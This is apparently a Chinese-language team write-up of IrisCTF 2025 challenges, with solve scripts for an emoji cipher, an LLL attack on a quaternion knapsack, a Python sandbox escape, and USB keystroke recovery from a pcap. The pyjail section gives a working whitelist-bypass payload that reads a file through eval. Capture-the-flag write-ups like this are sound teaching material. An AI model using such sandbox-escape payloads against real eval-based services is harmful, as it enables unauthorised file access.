IrisCTF 2025 Write Up

Before all

Team: ICEDTEA
Rank: 40/1544
2025 年初第一場 CTF 就獻給了 ICEDTEA 和 IrisCTF
超美的平台前端 orz
image

CRYPTO

KittyCrypt

main.go
聚焦看一下重點部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package main

//...已省略...

var CharSet = map[rune]string{
'0': "🐱", '1': "🐈", '2': "😸", '3': "😹",
'4': "😺", '5': "😻", '6': "😼", '7': "😽",
'8': "😾", '9': "😿", 'A': "🙀", 'B': "🐱‍👤",
'C': "🐱‍🏍", 'D': "🐱‍💻", 'E': "🐱‍👓", 'F': "🐱‍🚀",
}

func catify(input string, keys []int) string {
var keyedText string
var result string

for i, char := range input {
keyedText += string(rune(int(char) + keys[i]))
}
fmt.Printf("I2Keyed: %s\n", keyedText)

hexEncoded := strings.ToUpper(hex.EncodeToString([]byte(keyedText)))
fmt.Printf("K2Hex: %s\n", hexEncoded)

for _, rune := range hexEncoded {
result += CharSet[rune]
}

return result
}

//...已省略...

func main() {
input := "You fools! You will never get my catnip!!!!!!!"

keys := getKeys(len(input))

encoded := catify(input, keys)

savePair("example", input, encoded)
}

加密的主流程其實就是從某個 json 檔案讀取一個 int 的 key,接著把明文每個字母都加上它後再轉成 hex,最後用那個貓咪的 CharSet replace 掉字元
另外它有給一組加解密後的範例+被加密後的 flag,等於說減回去就好
難度應該是想下在 GoLang 就是
solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
org={
'0': "🐱", '1': "🐈", '2': "😸", '3': "😹",
'4': "😺", '5': "😻", '6': "😼", '7': "😽",
'8': "😾", '9': "😿", 'A': "🙀", 'B': "🐱👤",
'C': "🐱🏍", 'D': "🐱💻", 'E': "🐱👓", 'F': "🐱🚀",
}

subtable={i:j for j, i in org.items()}

p1='You fools! You will never get my catnip!!!!!!!'
c1='🐱💻😸😿😼🐱👓😺😾😿🙀🐱💻🐱👓😺😿😹😿🐱💻🐱👓🐱🐱👤😹😿😺🐱👓😹🙀😿😾🐱🏍🐱👓😹😾🐱🚀🐱👤😾🐱💻🐱👓😿😽🐱👓😺😾🐱👤🙀😻🐱👓😸🙀😼🐱👤🐈🐱👓😺🐱👤😼😿😾🐱👓🐈😿😽🙀🐱🚀🐱👓😹😾😹🐱👤🐱👤🐱👓😹🙀🐱🐱👤😾🐱👓🐱🙀😽😿😻🐱👓😹🐱👤🐱🐱👤🐱👤🐱👓🐈😾😽😿🐱💻🐱👓🐈🙀🐱👓😿🐱👤🐱👓😹🐱👤🐱👤😾🐱🏍🐱👓🐈🐱👤🐱😿🐱👤🐱👓😸😾😿🐱👤😾🐱💻🐱🏍😿🙀🐱👓😸😾🙀🙀🐱🐱👓😸🐱👤🐱👓🙀🐱👓🐱👓🐱🙀🙀😾😺🐱👓😺🙀😽😿😸🐱👓😸🐱👤😾🙀🐈🐱👓😺🙀😼🙀😼🐱👓😺😿😿😿😿🐱🏍😿😾🐱👓🐱👓😺😿😽😿🐱🏍🐱👓🐈😾🐈😿😹🐱💻😸🐱👤😹🐱👓😺😿🐱👓🙀🐱🐱👓😺🙀🐱👤😾🐱🏍🐱👓😹🐱👤😸🙀🐱🏍🐱👓😹🐱👤😼🐱👤😾🐱👓🐱🙀🐈🐱👤🐈🐱👓😺😿🐱👤🐱👤😽🐱👓😸🐱👤🐈🐱👤🐱🚀🐱👓😺🐱👤😽🙀😿🐱👓😺😿🐱💻🙀😿🐱👓😺😾🐱👤😿🐱🚀🐱👓😸🙀🐱🏍🐱👤😻🐱👓😸🐱👤🐱💻🐱👤😾🐱👓😹😿😻🙀🐱🚀🐱👓😹😿😿😿😿'
c2='🐱💻😸🙀😼🐱👓😺😾😿🐱👤🐱🐱👓😺😿😹😿🐈🐱👓🐱🐱👤😺🙀😽🐱👓😹🙀😿😾😿🐱👓😹😾🐱🚀🐱👤🐱💻🐱💻🐱👓😾🐱👓🐱👓😺😾🐱👤🐱👤😺🐱👓😸🙀😼🐱👤🐈🐱👓😺🐱👤😼🙀😽🐱👓🐈😿😾🐱👤🐱🏍🐱👓😹😾😹😿😻🐱👓😹🙀🐱😾🐱🐱👓🐱🙀😼😿🐈🐱👓😹🐱👤😸😾😾🐱👓🐈😾😼😿😿🐱👓🐈🙀🐱👓🙀😻🐱👓😹🐱👤🙀🐱👤🐱🚀🐱👓🐈🐱👤🐱😿🐈🐱👓😸😾🙀🐱👤🐈🐱💻🐱👤🙀😹🐱👓😸😾😿🙀🐱👓🐱👓😸🐱👤🐱💻🙀🐱💻🐱👓🐱🙀😿🐱👤🐱👓🐱👓😺🙀😼😿😺🐱👓😸🐱👤😿🐱👤😹🐱👓😺🙀😻🐱👤😸🐱👓😺😿😿🙀😸🐱🏍😾😿🐈🐱👓😺😿😾😿🐱👤🐱👓🐈😾🐈😿🐱💻🐱💻😸🙀😸🐱👓😺😿🐱👓🐱👤😺🐱👓😺🙀🙀🙀🐱🐱👓😹🐱👤😸🙀🙀🐱👓😹🐱👤😼🐱👤🐱💻🐱👓🐱🙀🐱🐱👤😹🐱👓😺😿🐱🏍😾😹🐱👓😸🐱👤🐈🙀🐱👓🐱👓😺🐱👤😽🐱👤🐱👤🐱👓😺😿🐱🚀😾🐱🐱👓😺😾🐱🏍🙀🐱👓🐱👓😸🙀🐱💻😾😽🐱👓😸🐱👤🐱👓🐱👤🙀🐱👓😹😿😼😾😻🐱👓😹😿🙀🐱👤😻'

print(len(p1))

for k in reversed(subtable):
c1=c1.replace(k, subtable[k])
c2=c2.replace(k, subtable[k])

c1=bytes.fromhex(c1).decode()
c2=bytes.fromhex(c2).decode()

for i in range(len(c1)):
print(chr(ord(c2[i])-(ord(c1[i])-ord(p1[i]))), end='')

knutsacque

對,然後一下難度就三級跳了
chal.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import secrets

F.<i,j,k> = QuaternionAlgebra(-1, -1)
A = []
B = [1, i, j, k]

msg_bin = b"irisctf{redacted_redacted_redacted_}"
assert len(msg_bin) % 4 == 0
msg = [F(sum(Integer(msg_bin[idx+bi])*b for bi, b in enumerate(B))) for idx in range(0, len(msg_bin), len(B))]
targ = 2^64

for _ in range(len(msg)):
a = F(sum(secrets.randbelow(targ)*b for b in B))
A.append(a)

sm = F(0)
for idx in range(len(msg)):
sm += msg[idx] * A[idx]

print("A =", A)
print("s =", sm)

簡單來說,這就是一個形如 $ax+by+cz=d$ 的不定方程…嗎(只是有九項)?
並沒有,它調用到了四元數

image

而四元數有自己的乘法規則,最顯而易見的就是它不滿足交換率
幾個觀察:

  • 所有的四元數乘法都可以變成某種矩陣變換,變換後就變成四條不定方程
  • 每一個字母的 ascii 在 2^7 附近,但他給的參數量級都在 2^64,有落差可能可以 LLL

首先是變換程矩陣乘法,對照上表,如果兩個四元數 $A \times B = C$,那今天可以寫作:
$$
A_{array}=
\begin{pmatrix}
A_1 \newline
A_i \newline
A_j \newline
A_k \newline
\end{pmatrix}
$$

$$
B_{array}=
\begin{pmatrix}
B_1 & -B_i & -B_j & -B_k \newline
B_i & B_1 & B_k & -B_j \newline
B_j & -B_k & B_1 & B_i \newline
B_k & B_j & -B_i & B_1 \newline
\end{pmatrix}
$$

下標就代表他們在該項的係數,並且這會滿足:
$A \times B=B_{array} \times A_{array}$

把題目給的A都轉成矩陣後,接下來是 LLL
本來我想用一條等式配成類似這樣就結束了:
$$
\begin{pmatrix}
A_{11} & 1 & 0 & … & 0 \newline
-A_{1i} & 0 & 1 & … & 0 \newline
… & … & … & …\newline
-s[0] & 0 & 0 & … & BIG \newline
\end{pmatrix}
$$
中間共 36 項,就是9個A展開成矩陣後的係數
但今天即便 flag 只有 8 個字元 LLL 出來都有誤差
所以我幫他們配重拉大差距,最左變都乘以 100,終於可以過 8 個字元 …
但我就在想,後面怎麼辦?
此時注意到只有一條算式有被使用,但總共會出現四條,所以它們四個一起拿來約束這個方程:
$$
\begin{pmatrix}
A_{11} \times 100 & A_{1i} \times 100 & A_{1j} \times 100 & A_{1k} \times 100 & 1 & 0 & … & 0 \newline
-A_{1i} \times 100 & A_{11} \times 100 & -A_{1k} \times 100 & A_{1j} \times 100 & 1 & 0 & … & 0 \newline
… & … & … & …\newline
-s[0] \times 100 & -s[1] \times 100 & -s[2] \times 100 & -s[3] \times 100 & 0 & 0 & … & BIG \newline
\end{pmatrix}
$$
最後開 LLL 出來過濾就拿到 flag 了,特別注意前八個字元已經有了所以其實可以先扣掉:

solve.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
## init

F.<i,j,k> = QuaternionAlgebra(-1, -1)
LEN = 28

## quater to matrix for LLL

def quater2matrix(qq):
return [[qq[0], -qq[1], -qq[2], -qq[3]],
[qq[1], qq[0], qq[3], -qq[2]],
[qq[2], -qq[3], qq[0], qq[1]],
[qq[3], qq[2], -qq[1], qq[0]]]

## oringinal datas

A = [17182433425281628234 + 14279655808574179137*i + 8531159707880760053*j + 10324521189909330699*k, 10979190813462137563 + 11958433776450130274*i + 10360430094019091456*j + 11669398524919455091*k, 3230073756301653559 + 4778309388978960703*i + 7991444794442975980*j + 11596790291939515343*k, 11946083696500480600 + 18097491527846518653*i + 5640046632870036155*j + 2308502738741771335*k, 12639949829592355838 + 12578487825594881151*i + 5989294895593982847*j + 9055819202108394307*k, 15962426286361116943 + 6558955524158439283*i + 2284893063407554440*j + 14331331998172190719*k, 14588723113888416852 + 432503514368407804*i + 11024468666631962695*j + 10056344423714511721*k, 2058233428417594677 + 7708470259314925062*i + 7418836888786246673*j + 14461629396829662899*k, 4259431518253064343 + 9872607911298470259*i + 16758451559955816076*j + 16552476455431860146*k]
s = -17021892191322790357078 + 19986226329660045481112*i + 15643261273292061217693*j + 21139791497063095405696*k


## we already known

B = [1, i, j, k]
msg_bin=b"irisctf{"
msg = [F(sum(Integer(msg_bin[idx+bi])*b for bi, b in enumerate(B))) for idx in range(0, len(msg_bin), len(B))]
sm = F(0)
for idx in range(len(msg)):
sm += msg[idx] * A[idx]

## minus

s-=sm
A=A[2:]

## Exploit

AA = [[0]*LEN for _ in range(4)]
for i1 in range(LEN//4):
tmp_arr = quater2matrix(A[i1])
for i2 in range(4):
for i3 in range(4):
AA[i2][i3+4*i1] = tmp_arr[i2][i3]

def solve(vec, val):
flag='irisctf{'
M = [[0]*(LEN+5) for _ in range(LEN+1)]
for i1 in range(LEN):
M[i1][i1+4] = 1
for i2 in range(4):
M[i1][i2] = vec[i2][i1]*100

for i1 in range(4):
M[-1][i1] = -val[i1]*100

M[-1][-1] = pow(2, 512)
M = Matrix(ZZ, M)
ans = M.LLL()
for tmp in ans:
if sum(tmp[0:4])==0:
for i1 in tmp[:-1]:
flag+=chr(i1)
print(flag)

solve(AA, s)
# irisctf{wow_i_cant_believe_its_lll!}

MISC

Cobra’s Den

一個 pyjail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import builtins

all_builtins = dir(builtins)
filtered_builtins = {name: getattr(builtins, name) for name in all_builtins if len(name) <= 4}
filtered_builtins.update({'print': print})

whitelist = "<ph[(cobras.den)]+~"
security_check = lambda s: any(c not in whitelist for c in s) or len(s) > 1115 or s.count('.') > 1

print('Good luck!')
while True:
cmd = input("Input: ")
if security_check(cmd):
print("No dice!")
else:
try:
eval(f"print({cmd})", {"__builtins__": filtered_builtins})
except SyntaxError as e:
print(f"Syntax error: {e}")
except Exception as e:
print(f"An error occurred: {e}")

要讀取flag檔案,先 RECON 一下還有哪些 builtins 可以用:

1
2
3
4
5
6
abs
chr
hash
open
ord
repr

列舉出來是這五個,其中 chr 可以結合 whitelist 有的 +() 造出很多字串
比較有趣的是 repr,他就是 print 函數的字串再字串化:

1
repr('\x00') = "'\\x00'"

再來,[]<[[]]是 true,所以是 1,可以一直加,但因為有輸入大小限制所以勢必得找到方法減少使用次數,方法就是從剛剛的 repr 把 x 字母提取出來,因為 payload 會是 open(構造出來的flag字串).read(),所以它算是相對接近我們要的字母的值
最後就是寫生成任意字母的函數,再注意到 x 比 f, l, a, g 任何一個都還要大,所以很可能要用減的去 chr 函數裡,但沒有減符號可以通過,改用 ~ 的位元運算造出負數

1
2
def gen(ch):
return f"chr(ord(repr(chr(([]<[])))[([]<[[]])+([]<[[]])])+~({('([]<[[]])+'*~(ord(ch)-120))[:-1]}))"

小巧可愛而難懂的一行
最後生出的 Payload:

1
2
3
open(chr(ord(repr(chr(([]<[])))[([]<[[]])+([]<[[]])])+~(([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])))+chr(ord(repr(chr(([]<[])))[([]<[[]])+([]<[[]])])+~(([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])))+chr(ord(repr(chr(([]<[])))[([]<[[]])+([]<[[]])])+~(([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])))+chr(ord(repr(chr(([]<[])))[([]<[[]])+([]<[[]])])+~(([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])+([]<[[]])))).read()

# irisctf{pyth0n_has_s(+([]<[]))me_whacky_sh(+([]<[[]]))t}

FORENS

deldeldel

image
打開看到就是一個 USB 包,檢查和搜尋了一下蠻像鍵盤輸入信號的,用 tshark 把資訊倒出來

1
tshark -r klogger.pcapng -T fields -e usb.capdata > usb.data

最後去網路上拔一個解讀器出來就好:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = []
keys = open('usb.data')
for line in keys:
# print(line)
if len(line) != 17:
continue
nums.append(line[0:2] + line[4:6])
# print(nums)
keys.close()
output = ""
for n in nums:
if n[2:4] == "00":
continue
if n[2:4] in normalKeys:
if n[0:2] == "02":
output += shiftKeys[n[2:4]]
else:
output += normalKeys[n[2:4]]
else:
output += '[unknown]'
print('output :' + output)

輸出結果(節錄):
output :Hheey<SPACE><SPACE><SPACE>AAali<DEL><DEL>licce!<SPACE>Ii<SPACE><SPACE>tthink<SPACE><SPACE>Ii''m<SPACE><SPACE>ssupo<DEL>ppooseed<SPACE><SPACE>too<SPACE><SPACE>giivee<SPACE>yoou<SPACE><SPACE><SPACE>tiss<SPACE>fllaag"<RET><RET>iriisctfF{[tthis_ajjd<DEL><DEL><DEL>keyloggeer_iisS_boo<DEL><DEL><DEL>too_hard_two<DEL><DEL><DEL>too<DEL><DEL><DEL>to_use}<RET>g[unknown]a[unknown]

手動改一下,就得到:irisctf{this_keylogger_is_too_hard_to_use}